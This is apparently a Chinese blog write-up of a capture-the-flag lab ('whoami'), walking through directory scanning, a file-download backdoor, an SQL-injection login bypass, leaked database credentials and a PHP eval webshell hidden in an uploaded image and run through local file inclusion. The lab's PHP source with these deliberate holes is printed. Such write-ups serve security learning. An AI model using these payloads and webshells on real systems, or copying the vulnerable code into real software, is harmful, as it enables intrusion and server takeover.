IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 记录一次靶场 --==[whoami]==-- -> 正文阅读

[PHP知识库]记录一次靶场 --==[whoami]==--

记录一次打靶场

第一个flag

开启环境,我们看到这样的界面:
靶场背景
我们首先通过Network抓包,看一下背景图片内部有无信息。
经过010Editor和exiftool分析,发现内部并没有很明显的隐藏信息。

我们考虑使用dirb对网站目录进行扫描
dirb扫描结果
发现在根目录下面,有/images和/www这两个值得关注的虚拟路径。
于是访问/images,此时显示forbidden:
images访问禁止
除此之外,还有robots.txt文件,我们尝试访问该文件:
flag1
发现一个flag1,明显不是正确的flag。

第二个flag

我们继续追踪/www/路径,使用dirsearch进行扫描:
dirsearch扫描结果

我们先追踪第一个路径,名字为add.php
add.php

从这个页面没有发现什么东西,只有一个上传的入口,一张POST表单。没有其他的路径信息,不知道上传成功与否,路径更是无处得知。
使用简单的xss和注入探测均失效,决定更换入口。
接着查看head.php,这张界面更是啥都没有,只一张图片。继续更换入口。
访问/www/images路径,再次没有权限:
www/imagesforbidden
我们直接进入index.php:在这里插入图片描述

发现是一个登录页面,查看源码:
在这里插入图片描述
仍然是POST表单,手动SQL注入探测无果。我将其暂时搁置一边,希望能从哪里得到相关的注入信息。

我们接着查看test.php,该页面有一句提示:
file
说是file参数需要传参,我们尝试GET和POST方式传入:file=test.php
使用POST方式传入该键值对时,发现有文件下载。看到文件为传入的value:
在这里插入图片描述
那么我们知到这是一个可以进行文件下载的后门,接下来就是把所有已知路径都下载下来,查看源码。
我们首先查看了index.php

<?php
session_start();

include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
	$_SESSION['logged']='';
	
}

if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
{
	
	echo "you are logged in :)";
	header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;"><br><br><br>
<font size=8 face="comic sans ms">[----====[[ Who am I ]]====----]</font> 
<br><br>
Show me your skills <br>
<form method=post>
<br><br>
Username : <Input type=text name=un>  &nbsp Password : <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
	$uname=str_replace('\'','',urldecode($_POST['un']));
	$pass=str_replace('\'','',urldecode($_POST['ps']));
	$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
	$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {

$row = mysqli_fetch_assoc($result);
	   echo "You are allowed<br>";
	   $_SESSION['logged']=true;
	   $_SESSION['admin']=$row['username'];
	   
	 header('Location: panel.php', true, 302);
   
}
else
{
	echo "<script>alert('Try again');</script>";
}
	
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 1px 1px 5px;\">Powered By CMS <font color=#ff9933>Pirates</font> ";

?>



此处看到想要执行到mysqli_query(),需要绕过过滤,注入run语句。
这里给出构造方式:password=\ ,username= or 1=1 –

构造原理是利用了在Mysql中,字符串内的:’ 会被转义为字符 ‘,我们将pass后面直到 and uname=的部分当作一段字符串,在最后接上 or 1=1 –

登录成功

SQL注入登录成功
我们看到该页面包含了c.php和head.php两个页面,此时看到c.php:

<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );

ini_set( 'session.cookie_httponly', 1 );

$conn = mysqli_connect("127.0.0.1","whoami","whoami_hacker","ica_lab");

// Check connection
if (mysqli_connect_errno())
  {
  echo "connection failed ->  " . mysqli_connect_error();
  }

有登录mysql的用户名: whoami,密码: whoami_hacker
我们前往/www/phpmy/页面,使用这组用户名密码尝试登录:
(居然真登进去了
在这里插入图片描述

在ica_lab 中看到flag库:在这里插入图片描述
这就是第二个flag。
也是错的

第三个flag

我们尝试直接在库中执行:

select "<?php @eval($_POST['hack']);?>" INTO OUTFILE '/var/www/html/www/shell.php';

直接权限不够…
在这里插入图片描述
那肯定至少是没有mysql_file权限,直接放弃继续操作该数据库。

在index.php登录后,我们来到panel.php界面

<?php
session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
		header('Location: index.php', true, 302);
		exit();
	
}

echo "Welcome to whoami ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
	unset($_SESSION['logged']);
	unset($_SESSION['admin']);
	header('Location: index.php', true, 302);
}
echo '<hr><br>';

echo '<form method=post>

<select name=load>
    <option value="show">Show Users</option>
	<option value="add">Add User</option>
</select> 

 &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);
	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
	
        if($choice==='show')
	{
        
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}
	
}


if(isset($_POST['upload']))
{
	
	$name=mysqli_real_escape_string($conn,$_POST['name']);
	$address=mysqli_real_escape_string($conn,$_POST['address']);
	$id=mysqli_real_escape_string($conn,$_POST['id']);
	
	if(!empty($_FILES['image']['name']))
	{
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
	$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
							 {
							  echo "Uploaded successfully ";
							  $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
							 mysqli_query($conn, $update);
							  
							}
				}
			else
			{
				echo "<br>i told you dear, only png,jpg and gif file are allowed";
			}
	}
	else
	{
		echo "<br>only png,jpg and gif file are allowed";
		
	}
}


}

这时候需要满足:

1. 没有POST[‘lg’]
2. 设置POST[‘continue’]非空
3. 设置POST[‘load’]=文件包含路径
即可实现文件包含

我们考虑图片包含小马来getshell
看到可以通过Add Users向/www/uploaded_images/里面添加图片,我们制作图片马,名为good.jpg,直接上传到目录下。
上传的为php母马,小马原本定向到/www/下,但是试了几次没有成功,考虑是权限的问题,故将生育路径该为/www/uploaded_images/shell.php
在这里插入图片描述
使用hackbar构造payload:

continue=1&load=uploaded_images/good.jpg

在这里插入图片描述

此时访问 /www/uploaded_images/muma.php
在这里插入图片描述

看到小马已存在
钥匙为hack,直接菜刀连接:
在这里插入图片描述

得到最终flag。
提交正确。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-05-05 10:57:56  更:2022-05-05 10:59:18 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/25 13:04:20-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码